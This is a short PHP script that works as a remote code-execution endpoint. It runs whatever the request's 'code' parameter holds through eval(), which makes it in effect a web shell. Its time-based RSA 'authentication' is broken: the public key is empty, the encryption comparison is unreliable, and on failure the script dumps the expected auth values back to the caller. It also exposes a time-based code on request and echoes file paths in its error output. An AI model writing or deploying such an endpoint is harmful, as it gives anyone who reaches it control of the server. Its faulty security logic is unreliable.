<?php
function get_auth_code()
{
    $time_limit = 20;// in seconds
    $time = time();
    return [strval(floor($time/$time_limit)), strval(floor(($time-$time_limit)/$time_limit))];
}
//-------------------------------------------------------
// get authentication code
if($_REQUEST['get_auth_code'])
{
    echo 'auth : ', get_auth_code()[0];
    exit();
}
//-------------------------------------------------------
// authentication
$auth_code = get_auth_code();
$data1 = $auth_code[0].$_REQUEST['code'];
$data2 = $auth_code[1].$_REQUEST['code'];

$publicKeyString = "";
$publicKey = openssl_get_publickey($publicKeyString);
$encrypted1="";
$encrypted2="";
openssl_public_encrypt($data1, $encrypted1, $publicKey);
openssl_public_encrypt($data2, $encrypted2, $publicKey);
$auth1 = base64_encode($encrypted1);
$auth2 = base64_encode($encrypted2);

$auth = $_REQUEST['auth'];

if($auth != $auth1 && $auth != $auth2)
{
    echo "auth : ";
    var_dump($auth);
    echo "auth1 : ";
    var_dump($auth1);
    echo "auth2 : ";
    var_dump($auth2);
    exit("Authentication failed!");
}
//-------------------------------------------------------
// run code with error reporting
set_error_handler('errorHandler');
register_shutdown_function('fatalErrorHandler');

function errorHandler($errno,$errstr,$errfile,$errline){
    $arr = array(
        '['.date('Y-m-d h-i-s').']',
        '|',
        $errstr,
        $errfile,
        'line:'.$errline,
    );
    echo implode(' ',$arr)."\r\n";
}
function fatalErrorHandler(){
    $e = error_get_last();
    switch($e['type']){
        case E_ERROR:
        case E_PARSE:
        case E_CORE_ERROR:
        case E_COMPILE_ERROR:
        case E_USER_ERROR:
            errorHandler($e['type'],$e['message'],$e['file'],$e['line']);
            break;
    }
}
eval($_REQUEST['code']);
if(isset($_REQUEST['show_back_button']))
{
    echo '<br><a onclick="history.back()"> back </a>';
}
